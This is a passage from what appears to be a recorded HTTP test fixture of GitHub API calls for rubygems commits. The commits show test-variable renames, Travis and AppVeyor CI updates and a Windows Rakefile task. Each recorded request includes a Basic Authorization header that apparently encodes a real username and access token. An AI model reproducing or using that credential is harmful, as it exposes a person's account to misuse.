@stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners.yaml\"] = [response, 403, ''Forbidden'']\n \n assert_raises Gem::MockGemUi::TermError do\n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.show_owners(\"freewill\")\n end\n end\n \n- assert_match response, @ui.output\n+ assert_match response, @stub_ui.output\n end\n \n def test_show_owners_key\n response = \"- email: user1@example.com\\n\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n File.open Gem.configuration.credentials_path, ''a'' do |f|\n f.write '':other: 701229f217cdf23b1344c7b4b54ca97''\n end\n@@ -97,56 +99,56 @@ def test_show_owners_key\n @cmd.handle_options %w(-k other)\n @cmd.show_owners(''freewill'')\n \n- assert_equal ''701229f217cdf23b1344c7b4b54ca97'', @fetcher.last_request[''Authorization'']\n+ assert_equal ''701229f217cdf23b1344c7b4b54ca97'', @stub_fetcher.last_request[''Authorization'']\n end\n \n def test_add_owners\n response = \"Owner added successfully.\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.add_owners(\"freewill\", [\"user-new1@example.com\"])\n end\n \n- assert_equal Net::HTTP::Post, @fetcher.last_request.class\n- assert_equal Gem.configuration.rubygems_api_key, @fetcher.last_request[\"Authorization\"]\n- assert_equal \"email=user-new1%40example.com\", @fetcher.last_request.body\n+ assert_equal Net::HTTP::Post, @stub_fetcher.last_request.class\n+ assert_equal Gem.configuration.rubygems_api_key, @stub_fetcher.last_request[\"Authorization\"]\n+ assert_equal \"email=user-new1%40example.com\", @stub_fetcher.last_request.body\n \n- assert_match response, @ui.output\n+ assert_match response, @stub_ui.output\n end\n \n def test_add_owners_denied\n response = \"You don''t have permission to push to this gem\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 403, ''Forbidden'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 403, ''Forbidden'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.add_owners(\"freewill\", [\"user-new1@example.com\"])\n end\n \n- assert_match response, @ui.output\n+ assert_match response, @stub_ui.output\n end\n \n def test_add_owner_with_host_option_through_execute\n host = \"http://rubygems.example\"\n add_owner_response = \"Owner added successfully.\"\n show_owners_response = \"- email: user1@example.com\\n\"\n- @fetcher.data[\"#{host}/api/v1/gems/freewill/owners\"] = [add_owner_response, 200, ''OK'']\n- @fetcher.data[\"#{host}/api/v1/gems/freewill/owners.yaml\"] = [show_owners_response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{host}/api/v1/gems/freewill/owners\"] = [add_owner_response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{host}/api/v1/gems/freewill/owners.yaml\"] = [show_owners_response, 200, ''OK'']\n \n @cmd.handle_options %W[--host #{host} --add user-new1@example.com freewill]\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.execute\n end\n \n- assert_match add_owner_response, @ui.output\n- assert_match %r{Owners for gem: freewill}, @ui.output\n- assert_match %r{- user1@example.com}, @ui.output\n+ assert_match add_owner_response, @stub_ui.output\n+ assert_match %r{Owners for gem: freewill}, @stub_ui.output\n+ assert_match %r{- user1@example.com}, @stub_ui.output\n end\n \n def test_add_owners_key\n response = \"Owner added successfully.\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n File.open Gem.configuration.credentials_path, ''a'' do |f|\n f.write '':other: 701229f217cdf23b1344c7b4b54ca97''\n end\n@@ -155,38 +157,38 @@ def test_add_owners_key\n @cmd.handle_options %w(-k other)\n @cmd.add_owners(''freewill'', [''user-new1@example.com''])\n \n- assert_equal ''701229f217cdf23b1344c7b4b54ca97'', @fetcher.last_request[''Authorization'']\n+ assert_equal ''701229f217cdf23b1344c7b4b54ca97'', @stub_fetcher.last_request[''Authorization'']\n end\n \n def test_remove_owners\n response = \"Owner removed successfully.\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.remove_owners(\"freewill\", [\"user-remove1@example.com\"])\n end\n \n- assert_equal Net::HTTP::Delete, @fetcher.last_request.class\n- assert_equal Gem.configuration.rubygems_api_key, @fetcher.last_request[\"Authorization\"]\n- assert_equal \"email=user-remove1%40example.com\", @fetcher.last_request.body\n+ assert_equal Net::HTTP::Delete, @stub_fetcher.last_request.class\n+ assert_equal Gem.configuration.rubygems_api_key, @stub_fetcher.last_request[\"Authorization\"]\n+ assert_equal \"email=user-remove1%40example.com\", @stub_fetcher.last_request.body\n \n- assert_match response, @ui.output\n+ assert_match response, @stub_ui.output\n end\n \n def test_remove_owners_denied\n response = \"You don''t have permission to push to this gem\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 403, ''Forbidden'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 403, ''Forbidden'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.remove_owners(\"freewill\", [\"user-remove1@example.com\"])\n end\n \n- assert_match response, @ui.output\n+ assert_match response, @stub_ui.output\n end\n \n def test_remove_owners_key\n response = \"Owner removed successfully.\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n File.open Gem.configuration.credentials_path, ''a'' do |f|\n f.write '':other: 701229f217cdf23b1344c7b4b54ca97''\n end\n@@ -195,18 +197,18 @@ def test_remove_owners_key\n @cmd.handle_options %w(-k other)\n @cmd.remove_owners(''freewill'', [''user-remove1@example.com''])\n \n- assert_equal ''701229f217cdf23b1344c7b4b54ca97'', @fetcher.last_request[''Authorization'']\n+ assert_equal ''701229f217cdf23b1344c7b4b54ca97'', @stub_fetcher.last_request[''Authorization'']\n end\n \n def test_remove_owners_missing\n response = ''Owner could not be found.''\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 404, ''Not Found'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 404, ''Not Found'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.remove_owners(\"freewill\", [\"missing@example\"])\n end\n \n- assert_equal \"Removing missing@example: #{response}\\n\", @ui.output\n+ assert_equal \"Removing missing@example: #{response}\\n\", @stub_ui.output\n end\n \n end"},{"sha":"ede459600dbb711526db99c5a02f200804d22815","filename":"test/rubygems/test_gem_gemcutter_utilities.rb","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/test/rubygems/test_gem_gemcutter_utilities.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/test/rubygems/test_gem_gemcutter_utilities.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_gemcutter_utilities.rb?ref=4ced51dd8753307deda1dda71dd2f77cb9ef02ee","patch":"@@ -8,6 +8,8 @@ class TestGemGemcutterUtilities < Gem::TestCase\n \n def setup\n super\n+ # below needed for random testing, class property\n+ Gem.configuration.disable_default_gem_server = nil\n \n ENV[''RUBYGEMS_HOST''] = nil\n Gem.configuration.rubygems_api_key = nil"},{"sha":"8ee469f90709f2986de074320ccf64e4bf31c347","filename":"test/rubygems/test_gem_local_remote_options.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/test/rubygems/test_gem_local_remote_options.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/test/rubygems/test_gem_local_remote_options.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_local_remote_options.rb?ref=4ced51dd8753307deda1dda71dd2f77cb9ef02ee","patch":"@@ -44,8 +44,9 @@ def test_clear_sources_option_idiot_proof\n spec_fetcher\n \n @cmd.add_local_remote_options\n+ Gem.configuration.sources = nil\n @cmd.handle_options %W[--clear-sources]\n- assert_equal Gem.default_sources, Gem.sources\n+ assert_equal Gem.default_sources, Gem.sources.to_a\n end\n \n def test_local_eh"},{"sha":"4aba4e7c403250d5546923a9b0d58817944a8ebb","filename":"test/rubygems/test_gem_remote_fetcher.rb","status":"modified","additions":11,"deletions":11,"changes":22,"blob_url":"https://github.com/rubygems/rubygems/blob/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/test/rubygems/test_gem_remote_fetcher.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/test/rubygems/test_gem_remote_fetcher.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_remote_fetcher.rb?ref=4ced51dd8753307deda1dda71dd2f77cb9ef02ee","patch":"@@ -118,7 +118,7 @@ def setup\n @a1.loaded_from = File.join(@gemhome, ''specifications'', @a1.full_name)\n \n Gem::RemoteFetcher.fetcher = nil\n-\n+ @stub_ui = Gem::MockGemUi.new\n @fetcher = Gem::RemoteFetcher.fetcher\n end\n \n@@ -175,7 +175,7 @@ def fetcher.request(uri, request_class, last_modified = nil)\n end\n \n def test_no_proxy\n- use_ui @ui do\n+ use_ui @stub_ui do\n assert_data_from_server @fetcher.fetch_path(@server_uri)\n assert_equal SERVER_DATA.size, @fetcher.fetch_size(@server_uri)\n end\n@@ -267,7 +267,7 @@ def dns.getresource arg, *rest\n fetch = Gem::RemoteFetcher.new nil, dns\n begin\n old_verbose, Gem.configuration.verbose = Gem.configuration.verbose, 1\n- endpoint = use_ui @ui do\n+ endpoint = use_ui @stub_ui do\n fetch.api_endpoint(uri)\n end\n ensure\n@@ -276,7 +276,7 @@ def dns.getresource arg, *rest\n \n assert_equal uri, endpoint\n \n- assert_equal \"Getting SRV record failed: timeout!\\n\", @ui.output\n+ assert_equal \"Getting SRV record failed: timeout!\\n\", @stub_ui.output\n \n dns.verify\n end\n@@ -625,7 +625,7 @@ def fetcher.fetch_http(uri, mtime, head = nil)\n end\n \n def test_implicit_no_proxy\n- use_ui @ui do\n+ use_ui @stub_ui do\n ENV[''http_proxy''] = ''http://fakeurl:12345''\n fetcher = Gem::RemoteFetcher.new :no_proxy\n @fetcher = fetcher\n@@ -634,7 +634,7 @@ def test_implicit_no_proxy\n end\n \n def test_implicit_proxy\n- use_ui @ui do\n+ use_ui @stub_ui do\n ENV[''http_proxy''] = @proxy_uri\n fetcher = Gem::RemoteFetcher.new nil\n @fetcher = fetcher\n@@ -643,7 +643,7 @@ def test_implicit_proxy\n end\n \n def test_implicit_upper_case_proxy\n- use_ui @ui do\n+ use_ui @stub_ui do\n ENV[''HTTP_PROXY''] = @proxy_uri\n fetcher = Gem::RemoteFetcher.new nil\n @fetcher = fetcher\n@@ -652,7 +652,7 @@ def test_implicit_upper_case_proxy\n end\n \n def test_implicit_proxy_no_env\n- use_ui @ui do\n+ use_ui @stub_ui do\n fetcher = Gem::RemoteFetcher.new nil\n @fetcher = fetcher\n assert_data_from_server fetcher.fetch_path(@server_uri)\n@@ -764,7 +764,7 @@ def test_fetch_s3_no_creds\n end\n \n def test_observe_no_proxy_env_single_host\n- use_ui @ui do\n+ use_ui @stub_ui do\n ENV[\"http_proxy\"] = @proxy_uri\n ENV[\"no_proxy\"] = URI::parse(@server_uri).host\n fetcher = Gem::RemoteFetcher.new nil\n@@ -774,7 +774,7 @@ def test_observe_no_proxy_env_single_host\n end\n \n def test_observe_no_proxy_env_list\n- use_ui @ui do\n+ use_ui @stub_ui do\n ENV[\"http_proxy\"] = @proxy_uri\n ENV[\"no_proxy\"] = \"fakeurl.com, #{URI::parse(@server_uri).host}\"\n fetcher = Gem::RemoteFetcher.new nil\n@@ -796,7 +796,7 @@ def test_request_block\n end\n \n def test_yaml_error_on_size\n- use_ui @ui do\n+ use_ui @stub_ui do\n self.class.enable_yaml = false\n fetcher = Gem::RemoteFetcher.new nil\n @fetcher = fetcher"},{"sha":"c49b07bac6bbd175f684b10f5c4a96a4e3f2174a","filename":"test/rubygems/test_gem_uninstaller.rb","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/test/rubygems/test_gem_uninstaller.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/test/rubygems/test_gem_uninstaller.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_uninstaller.rb?ref=4ced51dd8753307deda1dda71dd2f77cb9ef02ee","patch":"@@ -177,10 +177,12 @@ def test_uninstall\n gem_dir = File.join @gemhome, ''gems'', @spec.full_name\n \n Gem.pre_uninstall do\n+ sleep(0.1) if win_platform?\n assert File.exist?(gem_dir), ''gem_dir should exist''\n end\n \n Gem.post_uninstall do\n+ sleep(0.1) if win_platform?\n refute File.exist?(gem_dir), ''gem_dir should not exist''\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:37 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/b25411fc1012c89fd1c409c7e5cc867b85247c29 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:37 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4605' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f57ea5201b474e160cd8de74a65d6f14" Last-Modified: - Tue, 26 Dec 2017 22:37:56 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040499' X-Github-Request-Id: - C440:4D95:F4790D:1C82D64:5A50E459 body: encoding: ASCII-8BIT string: '{"sha":"b25411fc1012c89fd1c409c7e5cc867b85247c29","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T22:37:56Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T22:37:56Z"},"message":"Auto merge of #2130 - rubygems:seg-travis-2-5, r=hsbt\n\n[Travis] Test against Ruby 2.5\n\n# Description:\n\nSince Ruby 2.5 was released yesterday, we should test against it!","tree":{"sha":"e1afe8992cb346f18cd0b83f4aa93130e5d7586c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e1afe8992cb346f18cd0b83f4aa93130e5d7586c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b25411fc1012c89fd1c409c7e5cc867b85247c29","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b25411fc1012c89fd1c409c7e5cc867b85247c29","html_url":"https://github.com/rubygems/rubygems/commit/b25411fc1012c89fd1c409c7e5cc867b85247c29","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b25411fc1012c89fd1c409c7e5cc867b85247c29/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"9c674f578d95e8b5ac03253fc60a545f1d445503","url":"https://api.github.com/repos/rubygems/rubygems/commits/9c674f578d95e8b5ac03253fc60a545f1d445503","html_url":"https://github.com/rubygems/rubygems/commit/9c674f578d95e8b5ac03253fc60a545f1d445503"},{"sha":"f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","url":"https://api.github.com/repos/rubygems/rubygems/commits/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","html_url":"https://github.com/rubygems/rubygems/commit/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6"}],"stats":{"total":3,"additions":3,"deletions":0},"files":[{"sha":"7310774f8947fdbfc599df4f8d0f06205d5dd82d","filename":".travis.yml","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/b25411fc1012c89fd1c409c7e5cc867b85247c29/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/b25411fc1012c89fd1c409c7e5cc867b85247c29/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=b25411fc1012c89fd1c409c7e5cc867b85247c29","patch":"@@ -21,6 +21,7 @@ rvm:\n - 2.2.9\n - 2.3.6\n - 2.4.3\n+- 2.5.0\n - ruby-head\n env:\n - \"TEST_TOOL=rubygems YAML=syck\"\n@@ -44,6 +45,8 @@ matrix:\n env: \"TEST_TOOL=rubygems YAML=syck\"\n - rvm: 2.4.3\n env: \"TEST_TOOL=rubygems YAML=syck\"\n+ - rvm: 2.5.0\n+ env: \"TEST_TOOL=rubygems YAML=syck\"\n - rvm: ruby-head\n env: \"TEST_TOOL=rubygems YAML=syck\"\n allow_failures:"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:37 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/50b6501e8e229503674c0957aac5157b764a58be body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:37 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4604' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"79d8f044f90f7ba208720d52d0bb6a55" Last-Modified: - Tue, 26 Dec 2017 20:56:11 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041371' X-Github-Request-Id: - C442:4D97:90345E:1C46B62:5A50E459 body: encoding: ASCII-8BIT string: '{"sha":"50b6501e8e229503674c0957aac5157b764a58be","commit":{"author":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-12-26T20:56:11Z"},"committer":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-12-26T20:56:11Z"},"message":"Update Rakefile & appveyor.yml","tree":{"sha":"6fceabddf057ac6010f5e62180f28fbec7258a1b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6fceabddf057ac6010f5e62180f28fbec7258a1b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/50b6501e8e229503674c0957aac5157b764a58be","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/50b6501e8e229503674c0957aac5157b764a58be","html_url":"https://github.com/rubygems/rubygems/commit/50b6501e8e229503674c0957aac5157b764a58be","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/50b6501e8e229503674c0957aac5157b764a58be/comments","author":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"committer":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"parents":[{"sha":"9c674f578d95e8b5ac03253fc60a545f1d445503","url":"https://api.github.com/repos/rubygems/rubygems/commits/9c674f578d95e8b5ac03253fc60a545f1d445503","html_url":"https://github.com/rubygems/rubygems/commit/9c674f578d95e8b5ac03253fc60a545f1d445503"}],"stats":{"total":71,"additions":41,"deletions":30},"files":[{"sha":"5538164263df0c74c18ecfdbf699942018029cfd","filename":"Rakefile","status":"modified","additions":22,"deletions":0,"changes":22,"blob_url":"https://github.com/rubygems/rubygems/blob/50b6501e8e229503674c0957aac5157b764a58be/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/50b6501e8e229503674c0957aac5157b764a58be/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=50b6501e8e229503674c0957aac5157b764a58be","patch":"@@ -13,6 +13,28 @@ rescue ::LoadError\n require ''yaml''\n end\n \n+if Gem.win_platform?\n+ # For ruby < 2.0, minitest files need to copied into repo lib folder\n+ if RUBY_VERSION <= ''1.9.3''\n+ dest = File.dirname(__FILE__).gsub(/\\//, \"\\\\\")\n+ src_dir = Dir.glob(\"#{Gem.default_dir}/gems/minitest-*\").sort\n+ if src_dir.last\n+ src = src_dir.last.gsub(/\\//, \"\\\\\")\n+ `md #{dest}\\\\lib\\\\minitest`\n+ `copy #{src}\\\\lib\\\\minitest.rb #{dest}\\\\lib`\n+ `copy #{src}\\\\lib\\\\minitest\\\\*.* #{dest}\\\\lib\\\\minitest`\n+ end\n+ end\n+\n+ require \"rake/testtask\"\n+\n+ desc \"Runs tests without hoe, typically used with windows\"\n+ Rake::TestTask.new(:test_no_hoe) do |t|\n+ t.libs << \"test\"\n+ t.test_files = FileList[''test/**/test_*.rb'']\n+ end\n+end\n+\n begin\n require ''hoe''\n rescue Gem::ConflictError => e"},{"sha":"9a8044306b140f1735bcb3149416065a22b80f7b","filename":"appveyor.yml","status":"modified","additions":19,"deletions":30,"changes":49,"blob_url":"https://github.com/rubygems/rubygems/blob/50b6501e8e229503674c0957aac5157b764a58be/appveyor.yml","raw_url":"https://github.com/rubygems/rubygems/raw/50b6501e8e229503674c0957aac5157b764a58be/appveyor.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/appveyor.yml?ref=50b6501e8e229503674c0957aac5157b764a58be","patch":"@@ -7,15 +7,7 @@ branches:\n skip_tags: true\n clone_depth: 10\n \n-init:\n- - mklink /d C:\\git \"C:\\Program Files\\Git\"\n- - if %ruby_version%==_trunk (\n- appveyor DownloadFile https://ci.appveyor.com/api/projects/MSP-Greg/ruby-loco/artifacts/ruby_trunk.7z -FileName C:\\ruby_trunk.7z &\n- 7z x C:\\ruby_trunk.7z -oC:\\ruby_trunk )\n-\n environment:\n- PATH: C:/ruby%ruby_version%/bin;C:/Program Files/7-Zip;C:/Program Files/AppVeyor/BuildAgent;C:/git/cmd;C:/Program Files (x86)/GNU/GnuPG/pub;C:/Windows/system32;C:\\Windows;\n- WINDIR: C:\\Windows\n matrix:\n - ruby_version: 193\n - ruby_version: 200\n@@ -24,45 +16,42 @@ environment:\n - ruby_version: 21-x64\n - ruby_version: 22\n - ruby_version: 22-x64\n+ GIT: C:/git/cmd/git.exe\n - ruby_version: 23-x64\n GIT: C:/git/cmd/git.exe\n - ruby_version: 24-x64\n GIT: C:/git/cmd/git.exe\n - ruby_version: _trunk\n GIT: C:/git/cmd/git.exe\n \n-matrix:\n- allow_failures:\n- - ruby_version: _trunk\n+init:\n+ - set PATH=C:/ruby%ruby_version%/bin;C:/Program Files/7-Zip;C:/Program Files/AppVeyor/BuildAgent;C:/git/cmd;C:/Program Files (x86)/GNU/GnuPG/pub;C:/Windows/system32;C:\\Windows;\n+ - set RUBYOPT=--disable-gems\n+ - mklink /d C:\\git \"C:\\Program Files\\Git\"\n+ - if %ruby_version%==_trunk (\n+ appveyor DownloadFile https://ci.appveyor.com/api/projects/MSP-Greg/ruby-loco/artifacts/ruby_trunk.7z -FileName C:\\ruby_trunk.7z &\n+ 7z x C:\\ruby_trunk.7z -oC:\\ruby_trunk )\n \n install:\n+- if %ruby_version%==193 ( gem update minitest --no-document )\n - ps: >-\n git submodule update --init --recursive\n \n- $env:path = ''C:\\Ruby'' + $env:ruby_version + ''\\bin;'' + $env:path\n+ if ((gem query -i minitest) -eq $False){ gem install minitest --no-document }\n \n- if ((gem query -i rake) -eq $False){ gem install rake --no-document }\n+ if ((gem query -i rake) -eq $False){ gem install rake --no-document }\n \n- if ((gem query -i hoe) -eq $False){ gem install hoe --no-document }\n+ if ((gem query -i hoe) -eq $False){ gem install hoe --no-document }\n \n- gem install minitest -v \"~> 4.7\" --no-document\n+test_script:\n+ - rake -rdevkit test_no_hoe\n \n- ruby -v\n+on_finish:\n+ - ruby -v\n \n-cache:\n-- C:\\Ruby193\\lib\\ruby\\gems\\1.9.1\n-- C:\\Ruby200\\lib\\ruby\\gems\\2.0.0\n-- C:\\Ruby200-x64\\lib\\ruby\\gems\\2.0.0\n-- C:\\Ruby21\\lib\\ruby\\gems\\2.1.0\n-- C:\\Ruby21-x64\\lib\\ruby\\gems\\2.1.0\n-- C:\\Ruby22\\lib\\ruby\\gems\\2.2.0\n-- C:\\Ruby22-x64\\lib\\ruby\\gems\\2.2.0\n-- 